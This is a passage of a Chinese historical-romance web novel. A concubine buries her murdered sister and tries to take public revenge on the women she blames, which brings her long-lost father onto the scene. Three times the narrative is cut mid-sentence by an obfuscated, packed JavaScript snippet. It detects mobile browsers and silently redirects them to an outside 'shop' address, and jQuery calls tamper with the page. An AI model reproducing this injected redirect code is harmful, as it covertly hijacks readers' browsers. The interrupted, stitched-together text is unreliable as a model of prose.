霍灵渠皱眉:“小祐还在你手里,我又逃不掉,为何非要卡在我有急事时?” 晏霁之给她拢拢秀发,莞尔勾唇:“好看啊,你不心焦,我哪能欣赏到美景?” 意识到他就是故意,霍灵渠只能给个答案:“既然你买下我,我做内应,内外联合弄垮英王府就有人帮我取走兴献侯夫人的命,我能全身而退。” “交易?!”晏霁之长哦声:“是我愚钝,竟然连这么浅显的联系都没想明白、竟然还要向本尊请教原委,这八年你和那位没少在背后嘲笑我吧?” “老皇帝存心要把朝堂硕果仅存的异姓王家族连根拔起,你晏家明的暗的对头也没少,我若想害你,两年前英王府会仅是被夺爵吗?”霍灵渠追问:“能让我进城找妹妹了吗?” 这点晏霁之确实不怀疑,霍灵渠真下狠手要伪造他几封书信会没有,这个女人但凡狠些那么两年前英王府的确就不会只被夺爵抄家就罢。 “那个人是谁?” “我还不能告诉你,可即使你猜不准是谁也必定能有怀疑之人。”霍灵渠恳求道:“先让我进城找妹妹,你有的是时间能够清算,何必要急在这刻?” “我有那么多疑惑,怎么允许爱妾离开?” 两人视线相对,晏霁之眼中的戏谑一览无遗,霍灵渠咬牙:“你别逼我。” “低眉顺眼八年,一朝挑破窗户纸,嚣张的本事飙升啊,好在还与我心意相通;我都帮你把发髻打散了,不是吗?我们可即刻来场鱼水之欢,爱妾要主动吗?” 霍灵渠头疼,深呼吸平复再跟他对峙:“我一身罪孽早已死不足惜,只盼桑柔和小祐能安稳生活;害英王府被夺爵抄家,你真恨,待我把要办的事情办完可以抵命给你,可你应该不会愿意因此就被恶心。” 聪明如晏霁之也没听出女人所谓‘一身罪孽’究竟喻指何意,深深看她眼,神色未明:“恶心?我怎不知你有本事能令我恶心?” 霍灵渠靠近步,踮起脚,抬手捧住他的脸颊,主动吻上男人的薄唇。 “八年,可真是想不到……”晏霁之没回避没推拒,唇畔触碰消失,他好整以暇地问:“你认为我因此就能感到恶心进而退让?” 霍灵渠二话没说继续抱住他亲吻,这回就不是蜻蜓点水般地碰碰了,晏霁之在心里从一数到十、再从十数到一都没看到宠妾有停止的迹象,憋屈地拉开她。 “十五年前你回过京畿吗?”他平静地补充:“给出这个答案,我就让你进城。” “有,二十年前的大火没有烧死我娘,我娘她是在桑柔六岁时病逝。”霍灵渠牵牵唇,平日里的空灵曼语在此刻低哑似风吹过竹林的沙沙声。 “娘下葬以后我带桑柔逃出佟家的禁锢,逃跑的时候我一心想带妹妹找回家,真正走到家门前反而犹豫,徘徊几天后我重新带着桑柔离开了。 我想要报仇能有多难,最多以命抵命,我把桑柔抚养长大,给她找到归宿,没有牵挂以后回京畿报仇就好,可惜天不遂人愿。” 竟然是到家门前而不入,白瞎了他那么多猜想,那么她们姐妹真失散了吗?晏霁之乐:“好,你早去早回,剩下的账等你把妹妹找回来以后我慢慢跟你算。” 霍灵渠即刻给自己挽发,拿过平常戴的帷帽就往外走。 女人走掉,晏霁之抬手碰碰唇,腹诽恩将仇报害他家还夺走他的初吻,可真是个祸水。 哑仆在内室门前禀告有客至,他出屋会客,云南王见到他乐得嘲笑:“白日宣淫啊你,我说你既不是二十岁来岁,你那位宠妾更不是才十五六岁,你俩这么大把岁数又腻歪那么多年还这么有情趣吗?可你好歹该把嘴巴抹干净吧。” 晏霁之险些想直接逐客,兀自淡定:“老皇帝发现青铜鼎失踪了?” 云南王斜他眼,心情好地没再调侃改成接话:“次日就发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍灵渠痴痴呆呆地抱着妹妹的遗体,晏霁之进门看到的就是她这副失掉心窍的模样。 老鸨抹泪解释:“我这姑娘好好出门去,了无生息抬回来,怎么不悲痛愤恨?可那是平原长公主府上,他们仗势欺人给点臭钱就要打发,咱又能怎么办?” 晏霁之走到她身侧,蹲下宽慰:“我知道你现在难过至极,可最重要的还是该让逝者安息,我已派人布置灵堂买棺木选风水地请僧侣来做法事,让她早日下葬。你听话放开遗体,让红妈妈叫人进来给她整遗容换寿衣。” 霍灵渠恍若未闻,晏霁之便强硬拉着她放开遗体,女人终于醒过点神识,红肿不堪的眼眸又不由自主落泪:“那么小,那么小小的人儿,两岁多的时候那么小,从那么小慢慢慢慢长到现在这么大这么高,我记得好像昨天她还在对我笑跟我撒娇,为什么……” 晏霁之沉默着抱过她背对遗体站立,示意老鸨叫人进来做事。 此屋墙壁上有枚小孔,隔壁屋中霍灵渠背后那位主公透过墙壁细孔将此屋情景尽收眼底,看这两人如此不避讳地亲密拥抱,他不合时宜得在心中讥讽晏霁之真虚,八年都没碰过自己名义上的宠妾,人前倒惯会装深情款款。 5. 第5章 竹屋正堂已挂丧幔摆棺木布置起灵堂,从大相国寺请来的两位僧人正在敲木鱼诵往生经文超度亡灵,哑仆带着套着丧服的男童站在屋前等候,男童神识魂游天外,怎么也想不通,他娘明明是要嫁人呀怎么会死? “姨母!” 看见熟悉的身影,男童拼尽全身力气往前冲,像流石般撞进霍灵渠怀中,重重的冲击令本已虚弱如被敲碎骨头的女人就要跌倒,幸亏晏霁之将她揽住扶稳。 “姨母我娘呢,我娘在哪里,我娘没死,他们都在骗小祐对不对……”男童眼泪横流,忍耐半下午的焦虑不安伤痛再也收不住:“我要我娘,姨母……” 霍灵渠失魂无神采的双眼凝汇点点聚焦,颤抖着伸手臂抱住这可怜的孩子,可嘶哑的喉咙说不出任何安抚之言。 定做三天法事,她带着小祐不吃不喝不眠不休地跪在灵堂棺木前烧纸钱,晏霁之担心她身体垮掉,硬是抱她回内室,让哑仆把哭得累昏的男童也抱进客房休息。 “哑仆刚给你炖好的枸杞燕窝粥,喝了,好好睡觉,明天送你妹妹下葬。” “求你件事,”霍灵渠没接粥碗,抬起红肿的眼皮,脉脉剪瞳痛彻麻痹如枯井无波,她自顾说道:“派死士去把济善庵和武襄侯府的两个冒牌货抓来,今夜就派出死士,明天桑柔下葬后我即要见到人。” 晏霁之把粥碗放在美人榻旁的高几上,神情未变:“你要报仇不急在这两天。” “急,慢些桑柔可能见不着了,你放心我不会累及牵扯你,抓到人后你给我辆马车,我会带着她们去往京兆尹府衙前引霍家人过来再清账。” 霍灵渠颓丧地靠进男人怀里,哀声祈求:“我知道没筹码能请你帮这忙,更不知害英王府被夺爵的账和这份人情有没有命偿还给你,可是桑柔死了,我就觉得那两个假的也不该再活着。” “为何不找你背后那位靠山求助?”晏霁之单手搂住她,既没应承也没拒绝。 “求他只能求到个忍,那两人与你没关系,求你才有点机会。”霍灵渠说,晏霁之反驳:“摊到京兆尹府衙前,你自己出面承担还会牵扯谁?既然不会连累自身他为何不肯,你应该替他做了不少事,这么点薄面都没有吗?” “也许他根本就没想过帮我。”霍灵渠苦笑道:“十几年了,一直拖,一直在拖。” “十几年?”晏霁之讶异:“在你跟我之前,那位就是你的主人?你在沦落风尘前就已经是名细作,你不是沦落风尘而是以混迹风尘做掩护?” “对!”霍灵渠疲惫地闭眼:“在我进英王府之前,他埋在你晏府的暗钉们都不堪大用;是他权衡我留在烟花之地能替他办的事多还是进英王府更有用,你才能买下我,他要剪除晏家势力占据的要职安排他的人马。” 晏霁之痛快问:“你这位主人是谁?” “我不想再提他了。”霍灵渠抬头,凄婉而坚定:“你不愿意,我去求别人;一个都求不到也罢,人情冷暖很正常,最坏也不过是我也没能报仇就赴黄泉和桑柔还有我娘团聚。” “别人?”晏霁之似笑非笑:“哪位别人?我的宠妾有委屈要求助却跳过我反求旁人,你这是故意想打我的脸还是跟我玩激将法?” “姑母霍皇后、小叔叔霍枫叶、我爹霍漓江……我认为可能愿意帮忙的挨个求遍。” 晏霁之换个姿势把女人抱坐在怀里,端起粥碗递给她:“喝完好好睡觉,你妹妹下葬后会如你所愿见到那两个冒牌货,旧账加这人情该怎么还,我慢慢跟你算。” 霍灵渠双手捧住粥碗,硬逼自己喝掉这碗燕窝粥,没心思洗漱便阖眼安睡,晏霁之嫌弃:“可真想让你打地铺。”话虽如此,还是给她拉拉锦被放下纱帐,自己去书房将就晚。 黑夜在灵堂前的火苗与诵经声中消散,初升的朝阳释放光明投向人间,昭示新日降临。 碧空高远,丝缕清风晃晃吹拂,满天抛撒的黄白纸钱迎风打转划出道长长的伤程。 法事完毕遗体出殡,男童强忍悲痛捧着灵牌位走在棺木前,双腿像灌铅般沉重僵硬,被指引着不知走了多久走到下葬的风水地,他抱紧灵牌跪下,再次放声痛哭。 霍灵渠没哭泣,睁着红肿的眼看帮忙送殡抬棺的死士们把棺木下葬封土竖墓碑,她再在墓碑前摆好祭品洒下壶清酒烧盆纸钱,让小祐磕三个响头即要带孩子回竹林。 “这里很荒凉,娘会害怕,我要陪着娘。”男童抱紧灵牌位抽泣:“姨母跟他们走好了,不用管我,我要陪着娘,我给娘烧纸钱。” 请随行的哑仆和送殡的死士们走远些等候,霍灵渠摸摸孩子的脑袋,她神色既伤且沉,是种痛到麻木后的平静:“小祐乖乖听话,姨母要送你进城见叔叔,今后好好跟叔叔生活,何时想拜祭再让叔叔陪你过来。” 男童戛然止住哭声,泪眼迷蒙问:“我叔叔?” “对,就是你亲生父亲的弟弟,叔叔会带小祐找到爹爹的。”霍灵渠交代好认亲事项,牵住男童的手拉着他走不回头,一步一步走出这片魂殇地。 返回竹屋,霍灵渠先进内室写信,提笔落字写好信吹干墨迹,她把信纸叠两折交给小祐贴身收着,又把前些天妹妹给的金银珠宝包袱给孩子背上,自己脱下丧服换身家常白衣裙,做好这切最后看眼这间屋子,她即带小祐出屋。 进城的青帷马车已停在竹屋前,晏霁之道:“你要的两个人装在车厢的麻袋里。” “好!”霍灵渠捏捏手心,一个好字应得她骨骼打颤,努力挤出点笑意:“让车夫送到城门前即可,我牵马车走进城。” 晏霁之想想没反对,叮嘱道:“今早九皇子吴王遇害,城中戒严巡防官兵多,进城后你自己多谨慎莫冲动;见到霍家人前你可能会先遇到弓箭手威胁,记得用好挡箭牌。” “知道了,那我就走了,你多保重。”霍灵渠扬笑告辞,只是笑意太悲凉反而加重萦绕周身的痛,晏霁之想伸手抚抚女人宽慰她无需害怕,她已抓紧男童的手往马车走去。 车轱辘驶动,马车很快驶出竹篱笆淹没在竹林的青葱绿意间,晏霁之正要回书房,眼角余光瞥见那破青铜鼎恨不得一蹦三尺高,跌跌撞撞着要蹿进竹林去瞎闯,他深吸气再慢呼出,想这破玩意儿是没法要了,也懒得追。 暗哨赶马车到京城城门前,霍灵渠走出车厢,牵过马车缰绳让车夫离开,她戴上帷帽,牵着马车进城,入城后穿街走巷目标明确寻往城中达官贵人们住的那片区域。 找到目标宅邸,霍灵渠摘掉帷帽,抱小祐出车厢,再交代遍认亲事项 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谁让美人天生就能占优势,何况是位倾国红颜绝代佳人,哪怕大美人的眼睛红肿也能美丽得让两位门房小哥闪瞎眼,应得前所未有的爽快。 云南王正在校武场上耍刀,收到禀告后放下刀准备出府耍耍,陪练的副将疑惑:“王爷,这位霍姑娘不是常年在庵堂礼佛吗?跟咱们更是八竿子打不着,她突然跑来王府前要求见您会不会有诈?” “哼,本王还就怕她没诈。”云南王讥讽,换身锦缎华袍出府去,到了府外,没见到那个烧伤毁容自梳的假尼姑只看见个陌生的女人,问门房、人呢? “嬴天漾,十五年没见,你还记得我吗?” 云南王刚问得答案就听到这么句话,惊诧地正视眼前的女人,这副相貌像是有点印象,在哪儿见过?猛然间如活见鬼般倒退两步又瞬间如狂风冲上前抓住这女人手腕,不可思议道:“祸水,你他娘的是祸水,你从哪儿冒出来的,你没死?” “我妹妹桑柔死了。”霍灵渠以往风流旖旎的眼眸只余苦涩,夹着请求询问:“我来找你是想请你帮个忙,当年我救过你的命,你说过愿意赴汤蹈火报答;我现在想让你报答,不知你能否在日落前抓到兴献侯夫人?” 云南王还以为是何事,闻言想也没想便应承,霍灵渠松口气:“谢谢你。” “客气啥,你先跟我进府说说怎么回事,这十年多我可一直以为你死了。”云南王不拘小节和男女有别地抓着美人的手腕要拉她进府里,顺口叫门房牵马车,霍灵渠连忙婉拒:“我还要去京兆尹府衙,你抓到人就塞麻袋扔到京兆尹府衙的石狮前。” “找府衙作甚?二十年前的大火是谁指使哪怕大家都清楚也没证据,找京兆尹报案不仅麻烦还没任何用处纯属浪费,咱们自己解决就好了。” 霍灵渠摇头:“我不是找京兆尹府衙伸冤报案,我妹妹今早刚下葬,我想桑柔死了,冒充我们姐妹俩的那两人也不该再活着;我已经抓到那俩个冒充的,就差佟氏。 你肯帮我抓人已是恩惠,怎能再牵扯连累你?此事摆在人前处理才能终结,我要把她们都拖到府衙前砍死,然后我投案自首给她们抵命。” 云南王:“……”你到底是祸水还是霍傻? 6. 第6章 风轻云淡的午后,阳光伸伸懒腰惬意打个转,一派和朗气清,阳光下却是风声鹤唳。 连日鼓乐喧天的欢腾因今早皇家骤生的变故被硬生生掐断,全城戒备之际,竟有狂徒敢在京兆府衙前欲持刀行凶还是挟持官眷无疑是要找死。 巡防士兵和衙役将凶徒周圈几丈范围内团团封锁,士兵外围,最早批围观的百姓给后来闻讯赶来看热闹的人们详解:“是个很漂亮的女人要行凶,乖乖咱还没见过那么美的女人,看那大刀的刀柄都要比她的手臂粗,咱都不敢信她能抡起那么重的大刀。” “说重点!”瞧这寒碜劲儿活像没见过女人,看到个女凶徒还想要怜惜怜惜呢。 “好好,她是拉着辆装麻袋和木柴的牛车走到府衙前,她把麻袋卸下时大家没咋注意,突然一阵银光,咱就看到她从柴堆里抽出柄大刀,乖乖哟,麻袋里装的全部是人;衙差从府衙门前过来盘问,那女人已经把刀架在被绑的那三人脖子上。 这阵仗官差们也不敢轻易乱动啊,只能半威胁半相劝着让她放掉刀好好说;她就说被绑的是那后族霍家兴献侯的夫人和两个女儿,这可不是捅马蜂窝了吗?!那女人也可怜,她说她娘和妹妹都被害死了,她和霍家有深仇大恨,她就是要来报仇的没想过能活命。” 给周围看热闹的老少们讲八卦的中年人还真怜惜上了:“这不,她要等霍家人来再算,霍家还没人来,在城里戒严的巡防士兵就抢先赶到把她包围起来连弓箭手都给备好了,要不是她把大刀紧紧刺在那兴献侯夫人的脖子里,早被乱箭射成刺猬了。” “这么说真是豁出命来的?”有百姓附和感叹:“这得多深的恨才能连命都敢舍啊。” 没等下个围观群众接话,马蹄声踏响由远及近,大批训练有素的禁卫军如暴雨袭至,封锁严密的士兵们往外扩散让出位置,京兆尹也急忙上前给领队的黑袍男人行礼,只见此人三十岁出头,眉目冷峻英伟不凡,正是当今五皇子越王。 倘若晏霁之给人的感觉是如沐春风般和煦,他在人前的第一印象就是严寒交加的冷酷,即使他骑在枣红马上还未置一语,威严凛然的气势也让被绑那三人吃下颗定心丸,哪怕她们不认为自己会有事,可刀架在脖子上真叫人怕呀。 “供出同伙,留你全尸。”像对这种威胁全然不以为意,越王视线扫过持刀的女人,绝美的容颜丝毫没让他的眼神多留一瞬,目光射向嘴被封、手脚被铁链锁住的那三人,在看见脸颊被严重烧伤相貌异常丑陋的道姑因害怕而颤抖时他眼底才有些波动。 “否则不仅你和你的同伙会身首异处,你已经死掉的娘和妹妹也将尸骨无存。” “没同伙,我家就只剩我,我是多日潜伏着伺机抓到她们三个拖到京兆府衙前清算我跟她们的仇。”霍灵渠扬声喊,话音刚落,后背琵琶骨刺痛,她身体僵住眼眸睁大,像是不敢相信在她还劫持着佟氏等人时竟会真有冷箭敢射向她。 “放下刀,供出同伙,你还能保住你娘和妹妹的尸骸,否则本王可不客气了。” “没同伙!”霍灵渠垂眸看眼流淌过衣裙滴在青石板上的血流,深吸口气,无意再等霍家来人,双手握紧刀柄扬起大刀要挥刀向霍佟氏,然而阳光底下冒寒光的刀锋只在半空定格——在她看不见的地方又有柄锋利的匕首飞射出并准确刺进她的后肩狎。 刀刃刺进血肉,霍灵渠不由自主又僵住一瞬,一条带刺长鞭缠绕住刀身,这力道之重,她争夺大刀的控制权未及反被拖住,眼前突见马蹄咆哮,自己就被拎起抛出老远后摔倒地,速度快得她好像都没看清是什么人袭击她。 “押进死牢,拷问出她的同伙。”越王踏马前奔扬鞭,轻而易举夺过凶徒的利器,毫无怜惜地把这名花容月貌的女凶徒摔出丈外远,他才翻身下马。 “不知所谓的蠢货,府尹,让牢里所有囚犯都上,给本世子好好招呼这贱货。” 兴献侯世子霍振羽带同母亲妹领众仆妇从禁卫军后面走出,正要去给母亲解铁链松绑,云南王飞跑袭来把拦路的霍家奴婢踹飞,一鼓作气趁霍振羽没防备之际抓住他的臂膀将人举高再狠狠摔出,连是姑娘家的霍蓁蓁也没逃过被摔。 在场的士兵们和围观百姓都给看晕向了,越王打量他:“你何意?” “你瞎吗,没看出是我的刀、我的人!”云南王甭提多后悔了,祸水死活不让他陪着,他只能隐藏在暗处观察,看到她受伤意识到要出事,疾奔而来还是没来得及护住。 “给后族这殷勤献得够带劲儿啊老五,霍漓江还没管妻女,你就急吼吼上赶着了,伤我女人的账还有那三条命给我记着,改天本王一定拿走。” 云南王撂话后大步上前,越王扬刀阻拦他,他冷笑声当即与之动手,过招同时叫京兆尹:“还不快找大夫来给本王的女人止血治伤!” “给本世子把那贱货押入死牢!”霍振羽紧随其后怒吼,京兆尹赔着笑脸快要僵住了,神仙打架小鬼遭殃,这形势冲突得似乎得罪哪方都能要他半条老命。 急促的女声伴随马蹄声响起:“找大夫!给她找大夫,本姑奶奶我霍舒窈说的!” 霍舒窈急急勒住缰绳,跳下马冲向倒在血泊中的霍灵渠,冲到她面前,看她脸色惨白、后背被刺着两把匕首连爬都爬不起,吓得心惊胆颤,强自镇定着伸手去扶她。 对堂姐压抑怒火也难抑不满,霍振羽语气相当严厉:“大姐你在做什么?” “是啊,霍舒窈你犯脑抽风也不能分不清敌我。”陪妹妹同来的霍二爷握着马鞭,使劲给憨货的老妹使眼色,偏偏妹子装眼瞎耳聋,没好气骂道:“霍舒窈你被五通神附体了是吧,没看见二婶和你俩妹妹刚遭了多大罪,你再胳膊往外拐我抽你了啊。” “抽你个头,给我去传御医,迟半刻钟我扒了你的皮!”霍舒窈发狠冲亲哥喊,再叫那俩打架的男人住手:“小时候还没打够,俩三十多岁的老男人打架幼不幼稚,都给我停!” “要试验几十年才能正视你对我们这批男人劝架不起作用的现实啊,老妹。”霍二爷满脸笑意地走到亲妹面前,然目光出奇严厉:“再胡闹,二哥可要生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459198|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气了。” 霍舒窈冷冷回击:“谁跟你玩笑胡闹?霍巨浪你要是敢为个婶娘就无视掉自己的亲妹妹,从今往后你别认我,我没你这种不分亲疏胳膊往外拐的哥哥!” “姑奶奶你又在闹什么劲儿,”霍二爷被噎得慌,读懂妹妹的认真只能退让:“你现在扶着的这位刚刚想要杀掉我们的嫡亲婶娘和两个堂妹。” “她是我闺蜜,我愿意向着她。我警告你,你不愿意给我传太医来也别挡着我找医馆;如果因为你的阻拦害她延迟止血治伤乃至有个好歹,咱兄妹断掉!”霍舒窈心里害怕着急,一时口不择言,霍二爷要被缺根筋儿的妹妹给气笑了:“有种你再说遍。” 霍舒窈在气劲上可不怕撂狠话但被霍灵渠抢先:“这些年经常隔几月就给我送补品送银票的那位是你?”她抬头,苍白的容颜染上刺眼的鲜红犹如在荒凉里绽放出血色曼陀罗,孤寂悲怆而又令人高兴:“你哥哥只是没懂,不要为我跟他吵,姐姐。” 一声姐姐叫得霍舒窈快哭了:“你说你已经安生那么多年就不能放掉吗?我让奴婢们劝你多少回了早些生孩儿,以后跟你男人好好过日子,怎么就是不肯听;就算真要报仇,既然已经把她们逮住还捅到台面上作甚,直接砍死她们不就好了吗?” “总要有人承担,我报仇雪恨自然该我担,只是我高估自己了。”霍灵渠真遗憾道:“应该提前砍掉她们的头颅再来府衙投案,可惜差一步。” “你傻啊你报完仇还投屁案,算了不说这些事,我送你去找大夫治伤。”霍舒窈伸手推开挡在她面前的亲哥,没走几步迎上锋锐的剑尖阻去路,她抬眼看向对面握着剑柄的堂弟,厉声叱喝:“闪开!” “可是大姐你不顾一家骨肉亲情在先。”霍振羽提醒道:“你现在舍掉这贼人,我还能当做什么都没发生,否则可别怪我不认你是堂姐。” “祖父祖母过世没两年就想撕脸皮断亲,行啊,我就看你有胆刺我吗?”霍舒窈狠笑,霍灵渠抬手握住她的手臂,强撑独自站立,抬腿往前迈步,平静接道:“来时我就没想过还能活命,剑给我,我自己动手。” 霍振羽挑眉未语,霍舒窈急忙拉住她:“你说什么疯话,你又在犯什么傻劲?” “来之前我刚给妹妹下葬,她是前些天宫宴时被当成刺客绞杀的假宫女,你看见了吗?”霍灵渠反问,问得霍舒窈一愣:“宫宴上那刺客?” “还要拖到何时?我也累了,一局定生死,生或死、我亦所愿也。”霍灵渠偏转方向,用力大声劝停:“嬴天漾,到此为止吧,但还得麻烦你在我死后给我收敛尸骸。” 此言威力够大,缠斗正酣的两位王爷竟同时罢手,云南王要被她傻哭地飞奔过去,转瞬炸响霍二爷彷徨茫然的喃喃疑惑:“三妹妹?” 要不怎说霍灵渠的脸蛋好认?霍二爷近距离打量几眼总觉似曾相识,不然也不会轻易被妹妹推开,他翻遍记忆深处找到能吻合的幼龄面容,近乎以求证的态度询问:“舒窈,你宁可与婶娘堂弟翻脸也要维护的妹妹是我们的小雀儿?” 7. 第7章 霍灵渠有个姑母给她取的乳名小孔雀,她那为嫡长孙女的堂姐对此不满非要改成小云雀,最后亲友玩伴们若要喊她乳名基本统叫小雀儿。 这名字在霍家陌生得像秘密,正如霍振羽兄妹俩没听明白;但其实从没有谁保密过只是不再提起,仅熟知之人一直像烙在心底的伤疤般始终印在脑海中,正如霍舒窈刹那背脊僵住,越王常年面瘫的脸庞被惊得仿佛如听见天方夜谭般的荒谬。 霍二爷回首看她们刚走过的路,鲜红血液如小渠流淌蔓延,视线上移见白衣染血,两把匕首深插进皮肉之处还有不间断的涓涓血流往外冒。 他心颤了颤,踏过染血的路走到她面前,愈发重合的容颜那么清晰地展示着亲缘证据,霍二爷鼻头一酸,心底千言万语最终只汇聚成:“舒窈你陪小雀儿找最近的医馆止血。” “本王自会带祸水疗伤。”云南王压住怒气等以后算账,把虚弱的女人打横抱起就走,霍灵渠不想再多事也想若能离开就尽快离开便没吭声。 可霍舒窈看得险些要摔了,就想不通这两人何时有瓜葛还如此亲密,而且大庭广众还能瞒得住吗?这让她堂妹以后还怎么再跟晏霁之过…呃,好像应该也没法过了,那是得换男人;她顿时就想通了,怪不得会是云南王出头。 突如其来的变故打断,霍振羽差点措手不及,但他能把人放走才是怪,换堂兄阻拦,没说拢也是果断动手,刚交手他又喊越王把人拦住。 围观群众看得眼花缭乱,怎么就演变成霍家人起内讧? 越王听到叫喊声方才如梦初醒般回神,他甚至没过脑想,双腿就已做出行动急奔而去;霍舒窈见状怕那俩人又要打赶忙追,疾跑奔到他们中间相劝。 “难道我和我二哥会无缘无故向着外人吗?好歹幼年相识一场,你真想看她血尽而亡吗?就当王爷你行行好,毕竟你对庵堂里那道姑都好,何苦再害个苦命人?!” 他想表明他并非要阻拦,只是难以置信想亲自确认,迎上对面堂弟讽刺嘲弄的目光,越王转眸又看向脸色惨白闭目喘息的女人,脑海中一帧帧浮现他把她像拎破烂般拎起再像摔死猪般重重抛远的画面,他艰难地侧过身让行。 “王爷?”刚脱困的三位连同霍蓁蓁尽数不满,武襄侯府的少奶奶出声训道:“你莫非也像我这堂兄堂姐般着魔了吗?我和大姐还有母亲今早遭到多少罪过,你不将凶徒押进死牢反而助纣为虐是何道理?还不快把那贱人拿下!” 五皇子越王是霍皇后的养子啊,向来得看霍家的脸色过日子,人家训起来就是气壮! 霍舒窈嫌糟心地反骂,云南王抱紧女人疾步往前走,被徐徐走来却活像来看戏的霍漓江不偏不倚堵住去路,形势微变,在动武的堂兄弟俩收手,儿女们纷纷喊爹,他反找侄女侃:“蓁蓁派奴婢回府报信说舒窈你竟然敢叛变,知错了吗?” 霍灵渠心尖像被蜜蜂蛰得疼,转过脸把自己掩藏;霍舒窈转头狠狠瞪眼那堂妹,接着跟叔叔呛:“错什么,你自己都不上心,还想规定我必须向着她们仨吗?” “听闻是个很美丽的女人意图逞凶,如果真的够美,二叔就原谅舒窈你被美色迷惑。”霍漓江笑嘻嘻跟侄女打趣,颇有纨绔美大叔的德行,投向云南王的视线却很玩味:“让本侯瞧瞧王爷怀中美人的真面目,她要是能比我女儿漂亮,我放行,王爷不亏。” “爹?!”做儿女们的异口同声,有不满有无奈有委屈有撒娇,越王扫过眼忽然自嘲,难怪云南王要讽刺他,她甚至不愿意睁开眼看他,他眼瞎啊;怪不得这二十年,不计其数的名医给庵堂里这位医治伤疤却始终不见成效。 “二叔您想追究有的是时候,何必非得抢在人家美人急需治伤之时耗?”霍二爷头疼:“您就当卖云南王个脸面,否则害这美人香消玉殒,真结成仇对我们都没好处。” “是对堂哥堂姐有好处对我家没好处,”霍蓁蓁扬声反驳告状:“爹,就是他们俩一直在阻拦,不然早把那贱人打入死牢了,他们是相识的,二堂哥还管那贱人凶徒叫什么小雀儿,一听就知不是良名,可真不知大伯家背着我们安着什么心思。” 霍漓江正在转动玉球的手顷刻僵住,霍二爷霍巨浪认命地长叹声,霍舒窈没好气冷笑:“什么心思?!呵,好心被当做驴肝肺的心思啊,为你们这家安稳,我昧良心隐瞒到现在,既然你们这般不想领情我就成全你!” “放纵要杀害我娘凶徒逃跑的好心?”霍蓁蓁被这不要脸的本事给气乐了,恭维道:“凭大堂姐你颠倒黑白的本事,难怪大伯偏宠庶女。” 霍舒窈深吸气送她句判语:“活该七堂妹你即将遭遇天塌地陷也没人管。” “堂姐最近还学做神棍看面相了呀,”霍蓁蓁冷笑声要反唇相讥被她爹给打断了:“我霍漓江这辈子只被一人爬到过脖子上,姑娘既要杀我妻女,可知因由?” 场面顿做安静,云南王低头看向怀中之人,霍灵渠如扇的睫毛轻颤下缓缓睁眼,裙角滴滴血珠落地犹如雨打水滩荡起层层波纹刺进霍漓江强装镇定的眼帘。 霍灵渠双腿着地站直身体,秋风温柔拂过她的碎发,一身素白染血在阳光底下灼灼刺目,时空瞬间被摧毁,霍漓江只看见黄沙漫天中因夕阳残血而染红的森森白骨。 抬眸,视线相逢,一眼二十年,已然是相隔一生。 她扬笑给出标准答案:“因为爹爹冷心冷肺,只有灵渠是爹爹的小宝贝。” 两枚珍稀玉球当场掉落摔地,霍漓江哈哈大笑:“哈哈,好,好!是二十五年前我抱着女儿骑到我脖子上玩举高高时亲自教女儿的原话。” 玉球还因冲力在跳动,话落无声,多数看客还在疑惑古怪,兴献侯夫人佟氏突然开窍,她惊恐尖叫,儿女们围拢过来也被她全部推开,慌慌张张跌跌撞撞要跑到丈夫身侧辩解。 霍漓江只吩咐随行护卫把侯夫人和世子姐弟五人押住,他再一步步走到他的小宝贝眼前,斜过身看看她后背的伤,想笑却比哭难看:“二十年啊,你跑哪儿去了?” “入了娼门。”霍灵渠说,越王猛地抬头看她,满眼震撼;霍二爷不可思议地看向堂妹又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459199|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向亲妹,霍舒窈蛮心酸地别开眼;云南王虽然也惊讶但心中多少有底,不算太意外。 霍漓江如似被硬物刺穿脑门,僵住片刻,面孔隐隐发白,复而狂笑,眼底微微湿润:“到底是我的宝贝女儿,知道怎样戳爹爹的心肝啊。”他再大笑通,笑得几乎要飚泪才堪堪收住:“灵渠跟爹爹回家好不好?” “爹爹让灵渠此行要做的事情继续做完好不好?”霍灵渠含泪笑:“桑柔性烈,恨意就像把钢刀深深插在她的心里蚕食着她的理智,可我想让她过寻常生活,一直隐瞒她仇家是谁,不想还是被她给打探到了。 前些天宫宴,她混进皇宫冒充宫女想要血刃佟氏,未果,丧命;今早送完妹妹下葬,我就带着她们三人到此地想把这二十年的仇怨纠葛做个终结。让我砍掉她们的头颅,我抵命,对不住爹爹您疼我爱我,灵渠要害您妻亡、儿女反目、岳家成仇。” 霍漓江抹把老父的辛酸泪:“如果爹爹不肯答应呢?” “给您两个选择终结这场仇恨,第一我在您面前自尽,第二让我报仇雪恨。”霍灵渠平淡而决绝:“既然见到爹爹,灵渠已不打算活着离开。” 看客们只要不是太笨都咂摸出眼前的情况了以及这所谓的仇,一时无数目光齐刷刷聚焦霍漓江,间或混淆着他妻儿的申诉哭喊声,他置若罔闻,亦没试图转圜;打小宠出的德行,这种拿自己‘挟持’父亲就是他宝贝女儿能做会做敢做的事。 